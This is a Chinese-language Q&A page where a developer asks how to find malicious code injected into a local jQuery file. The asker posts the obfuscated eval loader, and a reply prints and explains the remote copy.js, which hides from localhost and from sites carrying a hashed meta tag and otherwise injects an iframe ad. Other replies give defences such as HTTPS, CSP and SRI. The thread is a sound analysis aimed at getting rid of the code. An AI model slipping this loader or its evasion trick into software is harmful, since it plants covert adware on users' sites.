Home  >  Q&A  >  body text

javascript - js源文件中被写入了恶意代码,如何找出?

源代码里被人写了一段代码... 然后 chrome 的 Console中 会有这个提示:
A Parser-blocking, cross site (i.e. different eTLD+1) script, https://banquan.b0.upaiyun.com/copy.js, is invoked via document.write. This MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message.See https://www.chromestatus.com/feature/5718547946799104 for more details.
被写入的代码是,让网页左下角一直有个弹窗.... 就是小窗口一样的,可以关,但每一次打开都会有。
源文件的结构是

删了 jquery-2.1.1.min.js 后就没了, 判断出应该是加在这里
在index.html 末尾加入 window.onload = function(){} 后也会消失
查过说是 跨域 什么什么的, 基础还不好,所以不是很明白什么意思,仍然找不出来。
不知道通过什么方式实现的,希望有人能讲讲如何实现 js跨域然后又藏的一般人找不出来....
我觉得这问题很严重.....
还有点那啥...
深感自己的不足
希望有人能解答一下....


不好意思,我有一点没说清楚, 我这是在本地的,没有传上服务器,我把网关掉后、清空cookie就不会有了,联网后才有。
(本地的文件应该不会被劫持什么的吧...)
(应该是源代码里有一段是调用了其他网站的js文件,然后他又做了手脚...我这样没啥经验的就找不出来了..)

=== 3.16 ====
先谢谢各位的回答
修改jquery-2.1.1.min.js 的文件名后就没有那个弹窗了, 不过他写在源码里的东西还在, 现在就是想请教一下 实现这类操作的方法是什么? 我想学习后从根本上解决它...
=== 4个小时后.... ====
改文件名没用..... 是我测试的时候太匆忙了..... 很尴尬....
==== 3.18 ====
根据小明的回答...
搜索了关键词upaiyun 就找到了一段

`eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return c.toString(a)
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('2.7("<0 3=\'4/5\' 6=\'1://8.9.a.b/c.d\'>\\e/0>");', 15, 15, 'script|https|document|type|text|javascript|src|writeln|banquan|b0|upaiyun|com|copy|js|x3c'.split('|'), 0, {}));` 

删除后广告也消失了(console也没报错...应该是单纯的广告代码吧...)
虽然看不懂,不过已经可以研究了

再次感谢诸位的回答,谢谢

天蓬老师天蓬老师2770 days ago634

reply all(5)I'll reply

  • PHP中文网

    PHP中文网2017-04-11 12:44:57

    先讲结论(信息不足,只能猜测):最大的可能是这个jquery-2.1.1.min.js文件被篡改,在原版的基础上加入了类似

    document.write('<script type="text/javascript" src="..."><\/script>');

    的语句,将https://banquan.b0.upaiyun.com/copy.js加载到你的页面中。

    最直接的解决方案是另外下载一个jQuery。感兴趣的话也可以下载一个jQuery 2.1.1 min文件与现有的文件做对比,找到具体是怎么注入的。


    然后简单剖析一下这个注入的文件https://banquan.b0.upaiyun.com/copy.js

    这个文件首先做了一个挑衅(或者是注入的标记):

    var urkill = true; 

    然后是一段混淆的代码,解析后是这个样子:

    var meta = window.document.getElementsByTagName("meta")
      , urcp_desc = "";
    for (i in meta)
        "undefined" != typeof meta[i].name && "urkeji.com" == meta[i].name.toLowerCase() && (urcp_desc = meta[i].content);
    var dqurl = window.location.host;
    dqdomain = dqurl.replace(/www./, "");
    var b64pad = ""
      , chrsz = 8;
    function ur_safe(b) {
        return binb2b64(core_sha1(str2binb(b), b.length * chrsz))
    }
    function core_sha1(b, a) {
        b[a >> 5] |= 128 << 24 - a % 32;
        b[(a + 64 >> 9 << 4) + 15] = a;
        a = Array(80);
        for (var c = 1732584193, d = -271733879, e = -1732584194, g = 271733878, h = -1009589776, k = 0; k < b.length; k += 16) {
            for (var l = c, m = d, n = e, p = g, q = h, f = 0; 80 > f; f++) {
                a[f] = 16 > f ? b[k + f] : rol(a[f - 3] ^ a[f - 8] ^ a[f - 14] ^ a[f - 16], 1);
                var r = safe_add(safe_add(rol(c, 5), sha1_ft(f, d, e, g)), safe_add(safe_add(h, a[f]), sha1_kt(f)))
                  , h = g
                  , g = e
                  , e = rol(d, 30)
                  , d = c
                  , c = r
            }
            c = safe_add(c, l);
            d = safe_add(d, m);
            e = safe_add(e, n);
            g = safe_add(g, p);
            h = safe_add(h, q)
        }
        return [c, d, e, g, h]
    }
    function sha1_ft(b, a, c, d) {
        return 20 > b ? a & c | ~a & d : 40 > b ? a ^ c ^ d : 60 > b ? a & c | a & d | c & d : a ^ c ^ d
    }
    function sha1_kt(b) {
        return 20 > b ? 1518500249 : 40 > b ? 1859775393 : 60 > b ? -1894007588 : -899497514
    }
    function safe_add(b, a) {
        var c = (b & 65535) + (a & 65535);
        return (b >> 16) + (a >> 16) + (c >> 16) << 16 | c & 65535
    }
    function rol(b, a) {
        return b << a | b >>> 32 - a
    }
    function str2binb(b) {
        for (var a = [], c = (1 << chrsz) - 1, d = 0; d < b.length * chrsz; d += chrsz)
            a[d >> 5] |= (b.charCodeAt(d / chrsz) & c) << 24 - d % 32;
        return a
    }
    function binb2str(b) {
        for (var a = "", c = (1 << chrsz) - 1, d = 0; d < 32 * b.length; d += chrsz)
            a += String.fromCharCode(b[d >> 5] >>> 24 - d % 32 & c);
        return a
    }
    function binb2b64(b) {
        for (var a = "", c = 0; c < 4 * b.length; c += 3)
            for (var d = (b[c >> 2] >> 8 * (3 - c % 4) & 255) << 16 | (b[c + 1 >> 2] >> 8 * (3 - (c + 1) % 4) & 255) << 8 | b[c + 2 >> 2] >> 8 * (3 - (c + 2) % 4) & 255, e = 0; 4 > e; e++)
                a = 8 * c + 6 * e > 32 * b.length ? a + b64pad : a + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(d >> 6 * (3 - e) & 63);
        return a
    }
    ur_safe(dqdomain) == urcp_desc || "localhost" == dqurl || "127.0.0.1" == dqurl ? !function() {
        var b = window.location.href;
        if (!/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi.test(b)) {
            var a;
            a = "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?r=" + encodeURIComponent("http://www.urkeji.com/");
            b && (a += "&l=" + b);
            (new Image).src = a
        }
    }(window) : window.onload = function() {
        document.getElementsByTagName("body")[0].insertAdjacentHTML("afterBegin", '<p id="uradpop" style="display:block !important; border:solid 1px #666; border-radius:10px; position:fixed; width:360px !important; height:300px !important; bottom:5px !important; left:2px !important; z-index:2147483648; overflow:hidden;"><a href="javascript:void(0);" onclick="urdd()" style="position:absolute; top:5px; right:5px; z-index:2147483647; font-size:28px; font-weight:bold; color:#ff0000; text-decoration:none;">\u00d7</a><iframe src="http://www.urkeji.com/wenda/tui.html" scrolling="no" frameborder="0" style="width:360px; height:300px; margin:0;"></ifrasme></p>')
    };
    function urdd() {
        document.getElementById("uradpop").style.display = "none"
    };

    主要分为两部分:一组SHA-1加密函数,以及一段DOM操作。基本逻辑是,如果当前页面不包含一个特殊的mega标签(content为SHA-1加密后的域名),则执行DOM操作,显示一个弹窗,内容包括iframe包裹的http://www.urkeji.com/wenda/tui.html

    而这段DOM操作是放在window.onload 里的,因而会被你在index.html末尾另加的一个window.onload 覆盖,从而阻止DOM操作。

    据此推断,www.urkeji.com就是这段代码的罪魁祸首。


    案情回顾:

    urkeji.com 是帮助客户做网站的,小本经营,不温不火。为了加大宣传,想出了这么个主意:在jQuery文件中加入显示小广告的脚本,上传到各大网站与正规的jQuery混到一起。为了使自己的客户不受影响,改公司制作的网站都利用加密后的域名制作了一个特定的<mega>标签阻止小广告。同时在localhost上也阻止了小广告,以防被开发人员发现。。。

    用心也算良苦了,就是做法太流氓。

    reply
    0
  • 伊谢尔伦

    伊谢尔伦2017-04-11 12:44:57

    你的网站被黑了

    你也说了 删除掉jquery就可以解决了

    一般情况下有两个解决方法:

    1、删除掉jquery恶意代码
    2、重新下载jquery文件进行上传

    几乎就可以解决你的问题了

    reply
    0
  • 阿神

    阿神2017-04-11 12:44:57

    网站配置https, http默认跳转https

    一般都不是自己网站服务器代码有问题, 而是dns劫持之类的中途注入进去的. 像移动的那些广告一样.

    配置https内容就修改不了了

    reply
    0
  • 伊谢尔伦

    伊谢尔伦2017-04-11 12:44:57

    如果是网站被黑的话,难道不是 git diff 一下,或者重新装系统部署一下就搞定了嘛……
    不过小窗,特别是小窗是本地广告的时候,是运营商在搞鬼。
    防范的话,HTTPS + CSP + SRI 应该就比较安全了(当然你的服务器也要足够安全)。

    reply
    0
  • 阿神

    阿神2017-04-11 12:44:57

    有可能是流量劫持,往特定js里面写入广告代码再发给用户。
    比较一劳永逸的是用https
    其他的话比较简单的可以用DOMNodeInserted来监控dom插入事件,然后匹配src非本网站的给remove掉。

    reply
    0
  • Cancelreply